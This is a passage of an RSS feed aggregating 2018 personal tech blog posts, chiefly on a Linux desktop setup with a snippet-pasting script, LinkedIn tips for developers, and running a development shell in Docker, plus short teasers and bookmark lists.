&lt;/div&gt;</description><author>Nemo's Home</author><pubDate>Sun, 22 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2018/04/22/home-server-networking/</guid></item><item><title>Linux Setup Progress</title><link>https://peterlyons.com/problog/2018/04/linux-setup-progress/</link><description>&lt;p&gt;Here's some miscellaneous notes on what I've gotten set up on my new linux laptop so far.&lt;/p&gt;
&lt;h2 id="distribution-and-desktop-environment"&gt;Distribution and Desktop Environment&lt;/h2&gt;
&lt;p&gt;I tried 3:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PopOS (ubuntu tweaked for system76, gnome-shell desktop)&lt;/li&gt;
&lt;li&gt;Xubuntu (ubuntu with Xfce4 desktop)&lt;/li&gt;
&lt;li&gt;Linux Mint Xfce4 (ubuntu with xfce4 desktop)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I like to think that I don't care that much about my desktop environment but I couldn't find a good clipboard manager for gnome shell and that was enough to make my try some others.&lt;/p&gt;
&lt;p&gt;I don't know what went on with my Xubuntu install but it was a disaster. No gui to set up wifi out of the box and weird crashiness. I ran away screaming.&lt;/p&gt;
&lt;p&gt;Linux Mint Xfce4 edition is where I landed and so far is working OK.&lt;/p&gt;
&lt;h2 id="text-snippets"&gt;Text Snippets&lt;/h2&gt;
&lt;p&gt;On mac I had a keyboard maestro macro that I loved that handled text expansion really nicely. I triggered it with &lt;code&gt;,,&lt;/code&gt; and it would regex match the previous abbrevation, so to type my email I would type &lt;code&gt;em,,&lt;/code&gt; and it would replace that with my email, based on the contents of &lt;code&gt;~/projects/snippets/em&lt;/code&gt;. It was really easy to add new ones on the fly, replace them, etc.&lt;/p&gt;
&lt;p&gt;I haven't found a way to exactly match that trigger mechanism on linux (and honestly it took me a long time to arrive at that final solution on the mac). But I found something also great, just different. I have an xfce4 keyboard shortcut &lt;code&gt;ctrl-,&lt;/code&gt; which runs a shell script I wrote which basically populates &lt;a href="https://git.suckless.org/dmenu/"&gt;dmenu&lt;/a&gt; with all of my abbreviations. This is nice because I get visual completion of the abbreviations. Once dmenu has handled selecting the abbreviation, my script reads the corresponding file and copies its content into the x11 clipboard via &lt;code&gt;xclip&lt;/code&gt; then immediately pastes it as well via &lt;code&gt;xdotool&lt;/code&gt; typing &lt;code&gt;ctrl-v&lt;/code&gt; to complete the expansion. Also this dmenu approach means there's no abbreviation in the target app to delete. The main trick I had to figure out was terminal needs &lt;code&gt;ctrl-shift-v&lt;/code&gt; to paste which is annoying. Here's a snippet of how I figured that out (get the PID of the current window and see if it's command is my terminal emulator)&lt;/p&gt;
&lt;pre class="language-sh "&gt;&lt;code class="language-sh"&gt;
#check for terminal or not
pid=$(xdotool getactivewindow getwindowpid)
exec=$(cat &amp;#x2f;proc&amp;#x2f;${pid}&amp;#x2f;cmdline)
if [[ &amp;quot;${exec}&amp;quot; == &amp;quot;xfce4-terminal&amp;quot; ]]; then
  xdotool key ctrl+shift+v
else
  # paste into the active window via keyboard shortcut
  xdotool key ctrl+v
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="commander"&gt;Commander&lt;/h2&gt;
&lt;p&gt;Commander is my heads-up-display style app where I trigger fancy scripts by name. Think shell but powered by python. I found a really great fit for this in &lt;a href="https://github.com/lanoxx/tilda"&gt;tilda&lt;/a&gt; which I have bound to &lt;code&gt;super-space&lt;/code&gt; running commander it and works great.&lt;/p&gt;
&lt;p&gt;Things are different enough that I might rethink whether I really need a long-running python process. I might port commander from python to node and the startup time might be fast enough to just run every command as a separate process either just shell or node.&lt;/p&gt;
&lt;h2 id="docker"&gt;Docker&lt;/h2&gt;
&lt;p&gt;This time around my plan is to do development with command line developer tools like node, npm, pip, etc always run in a docker container with a volume mount to just one directory containing a specific project, not my entire filesystem or entire home directory. I think it will mostly work but there might be some hassles and kinks.&lt;/p&gt;
&lt;h2 id="sticky-keys"&gt;Sticky Keys&lt;/h2&gt;
&lt;p&gt;Sticky keys setup is actually super easy on Xfce4: there's a checkbox in the accessibility settings. Done. The only thing I had to tweak was to add an indicator widget to the xfce4 panel to show when modifier keys are stuck down. That package is called &lt;code&gt;indicator-xkbmod&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="function-key-app-hotkeys"&gt;Function Key App Hotkeys&lt;/h2&gt;
&lt;p&gt;I'm used to mapping my function keys to apps: F1 is browser, F2 is terminal, etc. Now that I have multiple desktops again, I &lt;em&gt;might&lt;/em&gt; move to some different approach, but so far I'm trying to recreate that system. I have something that sort of works via &lt;code&gt;wmctrl&lt;/code&gt; and &lt;code&gt;xprop&lt;/code&gt; but there's some quirks I still need to figure out.&lt;/p&gt;
&lt;h2 id="fewer-modifiers"&gt;Fewer modifiers&lt;/h2&gt;
&lt;p&gt;I'm realizing how nice it is on mac to have 2 good modifier keys: command and control (which I have bound to my caps lock key). I guess I should think about swapping my super and alt keys so super gets the prime real estate on either side of the space bar and alt can be next to that which is in the unreachable palm of your hand area.&lt;/p&gt;
&lt;p&gt;In any case, my atom keybindings are going through a chaotic reorganization but hopefully everything will settle down soon.&lt;/p&gt;
&lt;h2 id="emacs-key-bindings"&gt;Emacs Key Bindings&lt;/h2&gt;
&lt;p&gt;On mac, &lt;code&gt;ctrl-a&lt;/code&gt; and &lt;code&gt;ctrl-e&lt;/code&gt; will move the cursor the the start and end of a line (borrowing emacs default keybindings) and this works everywhere: terminal, GUI text editors, browsers, Apple Apps, etc. I'm realizing on linux neither firefox nor chrome do this by default. Haven't looked into solving via extensions yet but either I'll do that or I'll become re-accustomed to using my hardware home/end keys again.&lt;/p&gt;
&lt;h2 id="fonts"&gt;Fonts&lt;/h2&gt;
&lt;p&gt;Oh my God the default resolution/zoom/font situation is letters for ants small. For chrome I set the default zoom way high. For atom I set my theme font to the largest allowed value of 20pt and it's usable but still on the small side.&lt;/p&gt;
&lt;h2 id="xfce4-settings-dialogs"&gt;Xfce4 Settings Dialogs&lt;/h2&gt;
&lt;p&gt;I'll chalk this one up to the absence of designers from the linux world, but every settings app in Xfce4 is designed as if it were a dialog box (which it isn't, it's a standalone application), and by default comes up occupying like 20% of the screen width and requiring tons of horizontal scrolling. I'm in the habit of only working with maximized windows, so I find this to be a nuisance, but at least a quick &lt;code&gt;ctrl-m&lt;/code&gt; maximizes them so they are usable.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sun, 22 Apr 2018 01:42:02 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/04/linux-setup-progress/</guid></item><item><title>Experimentation in agriculture IS necessary. Just make it as diverse as possible</title><link>https://stop.zona-m.net/2018/04/experimentation-in-agriculture-is-necessary.-just-make-it-as-diverse-as-possible/</link><description>&lt;p&gt;I recently observed that the only missing voices at a coming Summit on Agriculture seemed to be&amp;hellip; farmers, and digital technologies that THEY could design and control. This is the answer I just received&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 21 Apr 2018 14:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/experimentation-in-agriculture-is-necessary.-just-make-it-as-diverse-as-possible/</guid></item><item><title>Xonsh and Midnight Commander</title><link>https://blog.nawaz.org/posts/2018/Apr/xonsh-and-midnight-commander/</link><description>&lt;p&gt;At some point in the last year, I switched to the
&lt;a class="reference external" href="http://xon.sh/"&gt;xonsh&lt;/a&gt; shell. It is a bash-like shell written in
Python. The nice thing about it is you can write your scripts using
Python syntax. Another nice thing is you can use it in&amp;nbsp;Windows.&lt;/p&gt;
&lt;p&gt;One of the headaches with …&lt;/p&gt;</description><author>Beetle Space</author><pubDate>Sat, 21 Apr 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.nawaz.org/posts/2018/Apr/xonsh-and-midnight-commander/</guid></item><item><title>Ratlog.js – JavaScript Application Logging for Rats, Humans and Machines</title><link>https://jorin.me/ratlog-js-javascript-application-logging-for-rats-humans-and-machines/</link><description>I am unsatisfied whenever I have to look at the logs in a Node.js project. Ratlog is an attempt to fix this.</description><author>jorin.me</author><pubDate>Sat, 21 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://jorin.me/ratlog-js-javascript-application-logging-for-rats-humans-and-machines/</guid></item><item><title>The amazing evolution of the English alphabet</title><link>https://ilearnt.com/blog/englishalphabet/</link><description>&lt;p&gt;A simple chart showing how the English alphabet evolved and how we ended up with what we have. It is particularly interesting how the Roman alphabet changed to become the English alphabet.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 20 Apr 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/englishalphabet/</guid></item><item><title>Design process – Content strategy – 3 talks to watch</title><link>https://yasha.solutions/design-process-content-strategy-3-talks-to-watch/</link><description>Content is critical.
Here are three talks where you can think about to think about the thinking that goes into writing how you think.
(I might have overdone that one…)
 Anyway… here it is.
Content Strategy in a Zombie Apocalypse, Karen McGrane at USI UX Content Strategy w/ Karen McGrane How to Write Content for Web</description><author>Yasha Solutions</author><pubDate>Fri, 20 Apr 2018 12:04:25 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/design-process-content-strategy-3-talks-to-watch/</guid></item><item><title>What would United States v. Ackerman be, without AOL?</title><link>https://stop.zona-m.net/2018/04/what-would-united-states-v.-ackerman-be-without-aol/</link><description>&lt;p&gt;Eight years ago, I wrote that, when it comes to email, the more interesting barrier to its proper usage may be laws that only see companies and individuals, but nothing in between. A case under appeal now in the USA shows that, indeed, this may be the case.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 20 Apr 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/what-would-united-states-v.-ackerman-be-without-aol/</guid></item><item><title>LinkedIn For Developers</title><link>/linkedin-for-developers/</link><description>&lt;p&gt;“Oh, not another recruiter!” – my co-worker said, lazily chucking their phone down. “They just spam!”.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/10368/1*-FpmhaWSMn5ieGS-yYUPFA@2x.jpeg" /&gt;&lt;/p&gt;
&lt;p&gt;This is an all too common phrase I hear from developers. I disagree with this sentiment because recruiters can get you good jobs and negotiate on your behalf – it’s in their best interest to do so. If you are looking for a new opportunity, LinkedIn can be a great way to connect with people who will start the hunt for you. Here I will break down not only how to optimize yourself for a new job but also hopefully how to remove a lot of the pain points of searching for one.&lt;/p&gt;
&lt;h3&gt;Clarify Why You Are Looking For a New Position&lt;/h3&gt;
&lt;p&gt;Before you set out on your voyage to find a new job, you need to know what you want. Further, it is helpful to reflect on your career trajectory and ultimately, to borrow a cliche, consider where you want to be in 2 years time.&lt;/p&gt;
&lt;p&gt;After establishing these points you will have a clear goal to aim towards. The tricky part, however, is sticking to that goal. If you want a job that has a foosball table and bean bag chairs, then don’t settle for a company that only has hammocks. It’s a silly example but illustrates the point. In my case, I wanted to cut my commute down and spend less time in traffic in a car. Therefore, finding a company situated right outside a train station was extremely convenient and fulfilled that criteria.&lt;/p&gt;
&lt;p&gt;I’d further recommend thinking about what sort of company you would like to work for. That sounds like a vague thing to contemplate, and it is, but this one is not meant to be specific – just in general terms. For example, some would view a workplace like Google as the God-tier level job. With its plethora of perks and benefits such as free meals, on-site gyms and of course, &lt;a href="https://www.decoist.com/nap-pods-office/"&gt;nap pods&lt;/a&gt;, it presents a view of how you want to work. Whilst that level of benefits are not available in the vast majority of cases, it’s good to recognize that you hold those kinds of perks in high regard and therefore want to optimize your next job for those sorts of things. Personally, I was looking for a company whilst having a forward-looking growth culture, also recognized that people have lives and families they want to be with. Yours will be different so have a think about what you want.&lt;/p&gt;
&lt;p&gt;Now you have those key details, you can include those in your messages and calls with recruiters who can then look for opportunities that fit.&lt;/p&gt;
&lt;h3&gt;Automate InMail Replies&lt;/h3&gt;
&lt;p&gt;As I outlined earlier, a big problem is that people receive a lot of “InMail”. These are messages that are blasted out to a wide range of people en masse. Often, the mail is not applicable because the skills for the job they are offering is outside of your knowledge base, other times it may be that the job is not near you or perhaps it’s simply not appealing. In any case, it can be easy to see why these messages would be considered spam.&lt;/p&gt;
&lt;p&gt;Nevertheless, InMail can provide a doorway to connect with a recruiter in a meaningful way. I’d suggest composing a few messages that you can simply copy-paste to reply to the recruiter. They will appreciate you having taken the time to reply as it means the recruiter will get back the “InMail Credits” that it costs to send them in the first place. In 90% of cases, I have found that the recruiter would ask me what type of positions I am looking for. In which case, I can reply and suggest they keep in touch with me if they come across a role that fits that criteria.&lt;/p&gt;
&lt;p&gt;I have 3 different types of replies to InMail&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I’m not interested&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I’m not looking&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I am interested&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Below is my letter I send when I am not looking for a new position.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hi X,
Hope you’re well and thank you for reaching out to me with this opportunity.
Unfortunately, I am no longer looking for new positions at this time as I have just accepted a new offer at Z Corp.
Thank you for your consideration and best of luck with the business. I will bear you in mind when I look for future opportunities.
Kind regards,
Y&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By having these responses pre-prepared it means I need to spend less time writing and more time gaining useful connections that I can utilize in the future. Furthermore, the friendly reply will set you apart from others they may send this InMail to. People like people, and if you’re a person who is nice, people will be drawn to you. Recruiters are people like you and me, just trying to do their job.&lt;/p&gt;
&lt;h3&gt;Update your Work History and Skills Sections&lt;/h3&gt;
&lt;p&gt;Additionally, the number of InMails you get in the first place can be cut down by updating your work history with details description of what you did at that company, what you learned and what technologies you used. The latter is especially useful as recruiters will often target you with jobs related to technologies you used most recently.&lt;/p&gt;
&lt;p&gt;Furthermore, the skills section is important as this is one of the factors that recruiters use when sending the InMail campaigns. By pruning out technologies you don’t want to work with, you should receive less mail concerning jobs using those technologies. Put in skills you have and want to use going forward.&lt;/p&gt;
&lt;p&gt;To truly go above and beyond and put yourself in the spotlight as a potential candidate, be sure to include any articles you have written, any open source projects you contribute to or maintain. These are all things that good recruiters will look out for, as it will be an indicator that you are a more capable candidate.&lt;/p&gt;
&lt;p&gt;Overall these are just a few tips to help you be that little bit extra special (I know you are) to potential companies. My dad always use to say: “There are lots of baked beans on the shelf, but why do people go for the same brand each time? – Because they believe they are the best. Be the best can of baked beans”. The point is that you have to set yourself out from the crowd. There are lots of developers out there and lots of demand but it doesn’t take much to differentiate yourself from the crowd by applying the points above.&lt;/p&gt;
&lt;p&gt;Do you have any more tips to share on LinkedIn or perhaps a grievance or two? Discuss it down below or email me at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; or comment below! I’m also on twitter &lt;a href="https://twitter.com/joshghent"&gt;@joshghent&lt;/a&gt; where I tweet about web performance and more.&lt;/p&gt;</description><author/><pubDate>Fri, 20 Apr 2018 01:12:03 GMT</pubDate><guid isPermaLink="true">/linkedin-for-developers/</guid></item><item><title>Disambiguating language type systems</title><link>https://blog.jonlu.ca/posts/disambiguating-type-systems</link><description/><author>JonLuca's Blog</author><pubDate>Thu, 19 Apr 2018 21:18:17 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/disambiguating-type-systems</guid></item><item><title>Selling my SEO business TodaysWeb</title><link>https://www.jimwestergren.com/selling-of-my-seo-business-todaysweb</link><description>Since I came back to Sweden in beginning of 2016 I have mostly been working on Domainstats which I also secured an investment for. The project is now almost ready for an official launch which is very exciting. My SEO and web development business TodaysWeb stayed in Bolivia as an independent company and has been &amp;#91;...&amp;#93;</description><author>Jim Westergren</author><pubDate>Thu, 19 Apr 2018 10:25:00 GMT</pubDate><guid isPermaLink="true">https://www.jimwestergren.com/selling-of-my-seo-business-todaysweb</guid></item><item><title>The bright, planetary next billion of Facebook users</title><link>https://stop.zona-m.net/2018/04/the-bright-planetary-next-billion-of-facebook-users/</link><description>&lt;p&gt;Frederic Filloux argues that Facebook' future is &amp;ldquo;bright and planetary&amp;rdquo; because:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 19 Apr 2018 09:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/the-bright-planetary-next-billion-of-facebook-users/</guid></item><item><title>Design procress – the User research [research notes]</title><link>https://yasha.solutions/design-process-the-user-research-research-notes/</link><description>User Research Appear in the early design process.
Not always full fledged process is deployed obviously – depend on the focus of the project, on its complexity and on its budget.
  Focus on: User research main focus is on:
 user behaviors user needs motivations   Why you need it To deliver a service that meets your users’ needs, you have to understand:
 who your likely users are what they’re trying to do how they’re trying to do it now how their life or work influences what they do and how how they use and experience existing services    They said Mike Kuniaysky defines it as : “the process of understanding the impact of design on an audience.</description><author>Yasha Solutions</author><pubDate>Thu, 19 Apr 2018 04:34:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/design-process-the-user-research-research-notes/</guid></item><item><title>Azores travel bookmarks</title><link>https://xenodium.com/azores-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.fodors.com/go-list/2013/azores-islands/"&gt;Azores islands&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/schilken/dot-hammerspoon"&gt;My configuration with init.lua and the require()ed modules&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lonelyplanet.com/travel-tips-and-articles/this-other-eden-the-azores-europes-secret-islands-of-adventure"&gt;This other Eden: the Azores, Europe's secret islands of adventure&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 19 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/azores-travel-bookmarks</guid></item><item><title>Debugging Emacs binary</title><link>https://xenodium.com/debugging-emacs-binary</link><description>&lt;p&gt;From &lt;a href="https://emacs.stackexchange.com/questions/14354/how-do-i-debug-an-emacs-crash"&gt;How do I debug an emacs crash? (Emacs Stack Exchange)&lt;/a&gt;, disable optimizations when configuring and build:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;CFLAGS=&amp;quot;-O0 -g3&amp;quot; ./configure ...
make
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And good 'ol gdb (lldb works too):&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;gdb ../nextstep/Emacs.app/Contents/MacOS/Emacs
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://git.savannah.gnu.org/cgit/emacs.git/tree/etc/DEBUG"&gt;etc/DEBUG: Debugging GNU Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 19 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/debugging-emacs-binary</guid></item><item><title>Paper less bookmarks</title><link>https://xenodium.com/paperless-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/danielquinn/paperless"&gt;danielquinn/paperless: Scan, index, and archive all of your paper documents&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.karl-voit.at/2015/04/05/digitizing-paper/"&gt;Digitizing All Your Paper Stuff&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/Fujitsu-ScanSnap-iX500-Duplex-Scanner/dp/B01G3JYVYM/ref=dp_ob_title_ce"&gt;Fujitsu ScanSnap iX500 Color Duplex Desk Scanner for Mac and PC&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.jamierubin.net/2013/04/30/going-paperless-scanning-to-evernote-revisited/"&gt;Going Paperless: Scanning to Evernote, Revisited | Jamie Todd Rubin&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/novoid/guess-filename.py"&gt;guess-filename.py: Derive a file name according to old file name cues and/or PDF file content&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.noodlesoft.com/"&gt;Hazel for document/download management&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.matt-swain.com/post/26419042500/installing-tesseract-ocr-on-mac-os-x-lion"&gt;Installing Tesseract OCR on Mac OS X Lion&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=5935"&gt;Paperless | Irreal&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://solutions.weblite.ca/pdfocrx/"&gt;PDF OCR X - Mac &amp;amp; Windows OCR Software to convert PDFs and Images to Text&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.documentsnap.com/batch-ocr-mac-fujitsu-scansnap/"&gt;Video: Batch OCR With The Mac Fujitsu ScanSnap&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 19 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/paperless-bookmarks</guid></item><item><title>Managing a developer shell with Docker</title><link>https://bergie.iki.fi/blog/docker-developer-shell/</link><description>&lt;p&gt;When I’m not in &lt;a href="https://flowhub.io/ide/"&gt;Flowhub-land&lt;/a&gt;, I’m used to developing software in a quite customized command line based development environment. Like for many, the cornerstones of this for me are &lt;a href="https://www.vim.org"&gt;vim&lt;/a&gt; and &lt;a href="https://github.com/tmux/tmux/wiki"&gt;tmux&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As customization increases, it becomes important to have a way to manage that and distribute it across the different computers. For years, I’ve used a &lt;a href="https://github.com/bergie/dotfiles"&gt;dotfiles repository&lt;/a&gt; on GitHub together with &lt;a href="https://www.gnu.org/software/stow/"&gt;GNU Stow&lt;/a&gt; for this.&lt;/p&gt;

&lt;p&gt;However, this still means I have to install all the software and tools before I can have my environment up and running.&lt;/p&gt;

&lt;h2 id="using-docker"&gt;Using Docker&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.docker.com"&gt;Docker&lt;/a&gt; is a tool for building and running software in a containerized fashion. Recently &lt;a href="https://github.com/tiagodeoliveira"&gt;Tiago&lt;/a&gt; gave me the inspiration to use Docker not only for distributing production software, but also for actually running my development environment.&lt;/p&gt;

&lt;p&gt;Taking ideas from &lt;a href="https://github.com/tiagodeoliveira/docker-shell"&gt;his setup&lt;/a&gt;, I built upon my existing dotfiles and built a &lt;a href="https://hub.docker.com/r/bergie/shell/"&gt;reusable developer shell container&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With this, I only need Docker installed on a machine, and then I’m two commands away from having my normal development environment:&lt;/p&gt;

&lt;div class="language-shell highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker volume create workstation
&lt;span class="nv"&gt;$ &lt;/span&gt;docker run &lt;span class="nt"&gt;-v&lt;/span&gt; ~/Projects:/projects &lt;span class="nt"&gt;-v&lt;/span&gt; workstation:/root &lt;span class="nt"&gt;-v&lt;/span&gt; ~/.ssh:/keys &lt;span class="nt"&gt;--name&lt;/span&gt; workstation &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; bergie/shell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s how it looks in action:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Working on NoFlo inside Docker shell" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/vim-developer-shell-docker.png" /&gt;&lt;/p&gt;

&lt;p&gt;Once I update my Docker setup (for example to install or upgrade some tool), I can get the latest version on a machine with:&lt;/p&gt;

&lt;div class="language-shell highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker pull bergie/shell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At least in theory this should give me a fully identical working environment regardless of the host machine. Linux VPS, a MacBook, or a Windows machine should all be able to run this. And soon, this should also work out of the box &lt;a href="https://chromeunboxed.com/news/chromebook-containers-virtual-machine-crostini-google-io"&gt;on Chromebooks&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="setting-this-up"&gt;Setting this up&lt;/h2&gt;

&lt;p&gt;The basics are pretty simple. I already had a repository for my dotfiles, so I only needed to write &lt;a href="https://github.com/bergie/dotfiles/blob/master/Dockerfile"&gt;a Dockerfile&lt;/a&gt; to install and set up all my software.&lt;/p&gt;

&lt;p&gt;To make things even easier, I &lt;a href="https://github.com/bergie/dotfiles/blob/master/.travis.yml"&gt;configured Travis&lt;/a&gt; so that every time I push some change to the dotfiles repository, it will create and publish a new container image.&lt;/p&gt;

&lt;h2 id="further-development-ideas"&gt;Further development ideas&lt;/h2&gt;

&lt;p&gt;So far this setup seems to work pretty well. However, here are some ideas for further improvements:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;ARM build&lt;/strong&gt;: Sometimes I need to work on Raspberry Pis. It might be nice to cross-compile an ARM version of the same setup&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Key management&lt;/strong&gt;: Currently I create new SSH keys for each host machine, and then upload them to the relevant places. With this setup I could use a USB stick, or maybe even a &lt;a href="https://www.yubico.com/products/yubikey-hardware/"&gt;Yubikey&lt;/a&gt; to manage them&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Application authentication&lt;/strong&gt;: Since the Docker image is public, it doesn’t come with any secrets built in. This means I still need to authenticate with tools like NPM and Travis. It might be interesting to manage these together with my SSH keys&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SSH host&lt;/strong&gt;: with some tweaking it might be possible to run the same container on cloud services. Then I’d need a way to get my SSH public keys there and start an SSH server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have ideas on how to best implement the above, please &lt;a href="mailto:henri.bergius@iki.fi"&gt;get in touch&lt;/a&gt;.&lt;/p&gt;</description><author>Henri Bergius</author><pubDate>Thu, 19 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bergie.iki.fi/blog/docker-developer-shell/</guid></item><item><title>Making the explanation of distributed systems fun</title><link>https://ilearnt.com/blog/explainingdistributedsystems/</link><description>&lt;p&gt;I love the way this article explains some of the key issues with designing distributed systems and how to solve them. It uses the illustration of a theme park and the rides - very clever and a fun read, which is unusual for a distributed systems article!&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 18 Apr 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/explainingdistributedsystems/</guid></item><item><title>Right to repair – 4 videos to make you think</title><link>https://yasha.solutions/right-to-repair-4-videos-to-make-you-think/</link><description>more people should be talking about this
Apple is working to prevent people from repairing the iphone they bought.
This is a 15 min video on a legal case where Apple lost – and is very well explained.kudos to @RossmannGroupfor it
For the record, #apple is not the only one doing that
Car companies are too.
Check this one :Sony as well who sued George Hotz for playing around with his Playstation: In a world where electronics are gonna be more and more fundamentals elements of our day to day life – it makes sense we pay attention that the stuff we buy belong to us (AKA the people who buy it) and not to the manufacturer.</description><author>Yasha Solutions</author><pubDate>Wed, 18 Apr 2018 12:14:10 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/right-to-repair-4-videos-to-make-you-think/</guid></item><item><title>Limits, and one big side effect, of granting personhood status to "robots"</title><link>https://stop.zona-m.net/2018/04/limits-and-one-big-side-effect-of-granting-personhood-status-to-robots/</link><description>&lt;p&gt;Let&amp;rsquo;s play conspiracy theories for a moment: what is the REAL reason why the European Parliament is proposing to treat robots as human beings? Even better: WHICH robots should  benefit of such a recognition? WHAT is a robot, anyway?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 18 Apr 2018 09:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/limits-and-one-big-side-effect-of-granting-personhood-status-to-robots/</guid></item><item><title>Social Justice Porn driven therapy</title><link>http://localhost/write/text/2018-04-18-social-justice-porn/</link><description>&lt;p&gt;&lt;img alt="" height="450" src="http://localhost/write/text/images/log-lady.jpg" width="720" /&gt;
&lt;span class="sidenote-ref sidenote-ref-inline" id="sidenote-ref-inline9"&gt;●&lt;/span&gt;&lt;small class="sidenote sidenote_inline"&gt;The Log Lady, Twin Peaks&lt;/small&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Who’s the lady with the log?&lt;br /&gt;We call her the Log Lady.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We are off to a good start folks.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;One of the cornerstones of psychoanalytical therapy, as stated by Freud in &lt;em&gt;Remembering, Repeating and Working-through&lt;/em&gt;, suggests that a therapy subject will, while remembering past stories, repeat the same behavior that they presented on the original event. The hope is that this behavior repetition, in a controlled context (the therapy itself), will allow some self examination: &lt;em&gt;why are you screaming at the therapist? He clearly has no stake in it. Maybe you tend towards aggressiveness when someone questions you?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But between having your vitality being sucked by your job and the latest Internet scandal, nobody ain't got no time for therapy. So TV shows become our reality and memory. The way we interact with them, the repetition. And Facebook’s input box, our way to work through it.&lt;/p&gt;
